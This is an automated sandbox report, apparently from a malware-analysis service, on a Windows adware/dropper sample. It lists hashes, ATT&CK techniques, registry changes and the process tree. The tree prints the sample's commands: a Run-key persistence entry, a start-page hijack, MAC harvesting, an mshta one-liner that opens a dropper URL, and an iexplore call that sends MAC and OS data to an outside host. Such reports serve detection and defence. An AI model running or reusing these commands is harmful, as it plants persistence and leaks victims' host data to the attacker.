3178948831314f3ed4d92ce6a40641466813e85aa11e5088e8661ec99881ddf0

Analysis

max time kernel
93s
max time network
131s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
20/09/2024, 13:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

edb7022befe4f54913188c8e4c9d3068_JaffaCakes118.exe
Size

10KB
MD5

edb7022befe4f54913188c8e4c9d3068
SHA1

c241e1fee63241f3ccea685dcd9be3b5c2063477
SHA256

3178948831314f3ed4d92ce6a40641466813e85aa11e5088e8661ec99881ddf0
SHA512

a9ca5a6012a523fa532f1906a77321ba28cc11b84ab9ddac7a4ea1ea105292fa51e0be079327a11fd66e924c201035a86e250640f165fb12e400c4ed688a4a0e
SSDEEP

192:Gj0H0G6wUT2Tqw0jYx1QZF+b40BZZU/ObZ32TvJawDJ/qcNZDJ/qcZjFpje62IRH:GjqxjUy70jYx1QZF+b40nZuOlGbJawDD

Score

10^/10

discovery persistence

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://chaliang.115ku.cn/5784/yahooo.htm%22,0%29%28window.close%29

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\pop = "C:\\Windows\\system\\runauto.vbs"	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	mshta.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system\system\svchost.bat	cmd.exe
File created	C:\Windows\system\runauto.vbs	cmd.exe
File opened for modification	C:\Windows\system\runauto.vbs	cmd.exe
File created	C:\Windows\system\internet.bat	cmd.exe
File opened for modification	C:\Windows\system\internet.bat	cmd.exe
File created	C:\Windows\r.vbs	cmd.exe
File created	C:\Windows\system\svchost.bat	cmd.exe
File opened for modification	C:\Windows\r.vbs	cmd.exe
File opened for modification	C:\Windows\system\svchost.bat	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	edb7022befe4f54913188c8e4c9d3068_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2732	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 0063aa38630bdb01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000004961a9603b5d8740891a04601e8b8fb90000000002000000000010660000000100002000000014865a8d9c00c006c47a9ed644a8e5e5dc6c99e7012359842fd7422b6dce997e000000000e80000000020000200000006f6a501fa29e56a6f14a10c94fc8e40c7aa3769386e3b1cb83c18c3cbeaf323b9000000020f45216b92f0a3af8b5947332329f8df7deabebe959a5d0b5fbec1e0242276cc436298d0054759063a134f3fec55fe3370fba05f5aebca1d54bf5a43c3ebf2187cb5db77da152630e4aa0a8e2e8eb7a876b9708f3e951f889f5eecf23d70c792f2f474fb874422168661097e103a430daa8c7d89a24e4c0e1c99b6d2511dde63eb82817891fb9bc76d61ee55fd3949a4000000095881d6a781d0494c4b367d0e83c7904b7bef47230463006840af7c997021d72ad429855d61379a1c5b3ec5c098d14177158c7dc5f1ed1cff9c144b49a9426c1	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{63F77FC1-7756-11EF-A5E9-FE7389BE724D} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{63F758B1-7756-11EF-A5E9-FE7389BE724D} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000004961a9603b5d8740891a04601e8b8fb900000000020000000000106600000001000020000000969dfa980dbe5264a873764714910e829d57a0616412bb3d2bd7a0f750a04efe000000000e80000000020000200000002a075706ed0896222e23377c68ea7b101185fe217a96eac2445016f799747e3f20000000dd3064ff015e535ff624cd8af317ef4852d544e941e8f80fbfec602e1b54450a40000000852b7dc338098443b4c98dab0bd44557e91fbebd4d6174381acd395a599c10d2e98f72ff3e14454ae8b61af026d80e9720ff45d8e86f8e188f2eed23ab4cc92c	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{63FC1B71-7756-11EF-A5E9-FE7389BE724D} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies Internet Explorer start page 1 TTPs 1 IoCs

stealer

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "http://www.115ku.com/?5784/"	reg.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command	regedit.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2844	reg.exe

Runs .reg file with regedit 2 IoCs

pid	Process
2452	regedit.exe
2696	regedit.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1068	iexplore.exe
2988	iexplore.exe
2284	iexplore.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1068	iexplore.exe
1068	iexplore.exe
2988	iexplore.exe
2988	iexplore.exe
2284	iexplore.exe
2284	iexplore.exe
1748	IEXPLORE.EXE
1748	IEXPLORE.EXE
2344	IEXPLORE.EXE
2344	IEXPLORE.EXE
1624	IEXPLORE.EXE
1624	IEXPLORE.EXE
1748	IEXPLORE.EXE
1748	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 2904	2308	edb7022befe4f54913188c8e4c9d3068_JaffaCakes118.exe	30
PID 2308 wrote to memory of 2904	2308	edb7022befe4f54913188c8e4c9d3068_JaffaCakes118.exe	30
PID 2308 wrote to memory of 2904	2308	edb7022befe4f54913188c8e4c9d3068_JaffaCakes118.exe	30
PID 2308 wrote to memory of 2904	2308	edb7022befe4f54913188c8e4c9d3068_JaffaCakes118.exe	30
PID 2904 wrote to memory of 2844	2904	cmd.exe	32
PID 2904 wrote to memory of 2844	2904	cmd.exe	32
PID 2904 wrote to memory of 2844	2904	cmd.exe	32
PID 2904 wrote to memory of 2844	2904	cmd.exe	32
PID 2904 wrote to memory of 2696	2904	cmd.exe	33
PID 2904 wrote to memory of 2696	2904	cmd.exe	33
PID 2904 wrote to memory of 2696	2904	cmd.exe	33
PID 2904 wrote to memory of 2696	2904	cmd.exe	33
PID 2904 wrote to memory of 2924	2904	cmd.exe	34
PID 2904 wrote to memory of 2924	2904	cmd.exe	34
PID 2904 wrote to memory of 2924	2904	cmd.exe	34
PID 2904 wrote to memory of 2924	2904	cmd.exe	34
PID 2904 wrote to memory of 408	2904	cmd.exe	35
PID 2904 wrote to memory of 408	2904	cmd.exe	35
PID 2904 wrote to memory of 408	2904	cmd.exe	35
PID 2904 wrote to memory of 408	2904	cmd.exe	35
PID 2904 wrote to memory of 2452	2904	cmd.exe	36
PID 2904 wrote to memory of 2452	2904	cmd.exe	36
PID 2904 wrote to memory of 2452	2904	cmd.exe	36
PID 2904 wrote to memory of 2452	2904	cmd.exe	36
PID 2904 wrote to memory of 2708	2904	cmd.exe	37
PID 2904 wrote to memory of 2708	2904	cmd.exe	37
PID 2904 wrote to memory of 2708	2904	cmd.exe	37
PID 2904 wrote to memory of 2708	2904	cmd.exe	37
PID 2708 wrote to memory of 2732	2708	cmd.exe	38
PID 2708 wrote to memory of 2732	2708	cmd.exe	38
PID 2708 wrote to memory of 2732	2708	cmd.exe	38
PID 2708 wrote to memory of 2732	2708	cmd.exe	38
PID 2708 wrote to memory of 2756	2708	cmd.exe	39
PID 2708 wrote to memory of 2756	2708	cmd.exe	39
PID 2708 wrote to memory of 2756	2708	cmd.exe	39
PID 2708 wrote to memory of 2756	2708	cmd.exe	39
PID 2904 wrote to memory of 1940	2904	cmd.exe	40
PID 2904 wrote to memory of 1940	2904	cmd.exe	40
PID 2904 wrote to memory of 1940	2904	cmd.exe	40
PID 2904 wrote to memory of 1940	2904	cmd.exe	40
PID 2904 wrote to memory of 2176	2904	cmd.exe	41
PID 2904 wrote to memory of 2176	2904	cmd.exe	41
PID 2904 wrote to memory of 2176	2904	cmd.exe	41
PID 2904 wrote to memory of 2176	2904	cmd.exe	41
PID 1940 wrote to memory of 2284	1940	WScript.exe	42
PID 1940 wrote to memory of 2284	1940	WScript.exe	42
PID 1940 wrote to memory of 2284	1940	WScript.exe	42
PID 1940 wrote to memory of 2284	1940	WScript.exe	42
PID 1940 wrote to memory of 1068	1940	WScript.exe	43
PID 1940 wrote to memory of 1068	1940	WScript.exe	43
PID 1940 wrote to memory of 1068	1940	WScript.exe	43
PID 1940 wrote to memory of 1068	1940	WScript.exe	43
PID 2176 wrote to memory of 2988	2176	mshta.exe	44
PID 2176 wrote to memory of 2988	2176	mshta.exe	44
PID 2176 wrote to memory of 2988	2176	mshta.exe	44
PID 2176 wrote to memory of 2988	2176	mshta.exe	44
PID 1068 wrote to memory of 1748	1068	iexplore.exe	45
PID 1068 wrote to memory of 1748	1068	iexplore.exe	45
PID 1068 wrote to memory of 1748	1068	iexplore.exe	45
PID 1068 wrote to memory of 1748	1068	iexplore.exe	45
PID 2988 wrote to memory of 2344	2988	iexplore.exe	46
PID 2988 wrote to memory of 2344	2988	iexplore.exe	46
PID 2988 wrote to memory of 2344	2988	iexplore.exe	46
PID 2988 wrote to memory of 2344	2988	iexplore.exe	46

C:\Users\Admin\AppData\Local\Temp\edb7022befe4f54913188c8e4c9d3068_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\edb7022befe4f54913188c8e4c9d3068_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\259501376.bat
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\SysWOW64\reg.exe
    reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v pop /t REG_SZ /d C:\Windows\system\runauto.vbs /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2844
- - C:\Windows\SysWOW64\regedit.exe
    Regedit /s tem.reg
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Runs .reg file with regedit
    PID:2696
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d http://www.115ku.com/?5784/ /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer start page
    PID:2924
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:408
- - C:\Windows\SysWOW64\regedit.exe
    Regedit /s gai.reg
    3⤵
    - System Location Discovery: System Language Discovery
    - Runs .reg file with regedit
    PID:2452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ipconfig /all|findstr /c:"Physical Address"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\SysWOW64\ipconfig.exe
      ipconfig /all
      4⤵
      System Location Discovery: System Language Discovery
      Gathers network information
      PID:2732
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /c:"Physical Address"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2756
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Windows\r.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/5784/count.asp?mac= 00:00:00:00:00:00:00:E0&os=Windows_NT&ver=20090520
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:2284
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2284 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1624
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/zongtai/count.asp?mac= 00:00:00:00:00:00:00:E0&os=Windows_NT&ver=20090520
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1068
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1068 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:1748
- - C:\Windows\SysWOW64\mshta.exe
    mshta vbscript:CreateObject("WScript.Shell").Run("iexplore http://chaliang.115ku.cn/5784/yahooo.htm",0)(window.close)
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://chaliang.115ku.cn/5784/yahooo.htm
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2988
    - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2988 CREDAT:275457 /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2344

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
318f7d8a1398bcab081b22975133a776

SHA1
a23e19e731f67c2af2166e813d14ece68c02db66

SHA256
12abb44e96953cdcfee7a5f92cbb9aad24b09a4a73b1fa7ac09e2f4c5a99e1a0

SHA512
ab98332a022f7ca377ce6a5b9153906f91136df99680dddcc63ed9af40cf7f131c05195701670b2920d7c61c6a19aa3ff3e494b9da245ad0971294c3805020e1

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b5a2181f928f45fd9894411455ec6fc0

SHA1
0397e085b61060907e12643996ab81d76728f63f

SHA256
9c3f45a9354395ff4eef8d554ca44b9822b729e683a144abec38ffccc09c363b

SHA512
a18012e98d8336f3729e671082886887ce3f88a0525ffc5d43c0432df5e67cf645a9a56a3a2756718ccb1ef8c7ec0c7ac6745a031dad63e6f57c4cc18d43ceca

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
bb2c86fbc0a9a613348ca48ec0224290

SHA1
3262d391253d29148d4aa0db13f201fc9d6428bb

SHA256
0c1e002607037b1487130eb41717a0eacf629262c934b5f085b5f011b371ec94

SHA512
509e626c29a1fdb3ed0d6426c8789adce2292a666701bd2cb69d3749acc8d6b9e94a24f4fae094b4872fd9d121c89bd8b55ffd40998997b178612fd17dd4c72c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
5b8cd5b4e64331aad5f146603500f37b

SHA1
a2ebbe335f765e202bcbee41237eb5eabe34b7d4

SHA256
d1bfcdecc839b9ec68258fdabe089e92031181f2441b79908c5358d5d3067825

SHA512
78d1e86575776a87ab3b1530e0b303b0a5208f527a9e460d55ee73c9ee55be0218535d0af70a0d650431619eb3cbbff4af7d5bdecff6bcd40cc4652ced74e408

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
673d9c411383754ab92881a847e0857f

SHA1
c65cf498821c84b1dac7a45200b742274d316c5b

SHA256
28448ebbdd81deb52e2ad2a711769d8ca9678f6eb00f528429566894dc4f6774

SHA512
64da3db5edb363d8724bdfd371035792fddc7ea0967202ccac1abbed572c943795da3527fc17362111bf3f2bc425496486b882082c1553b02512ec92af69e753

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
b97583fecc73b693754f0a1fdf47588b

SHA1
a30b7ee074aa6746e5512b1eb3a14a7f2848f7df

SHA256
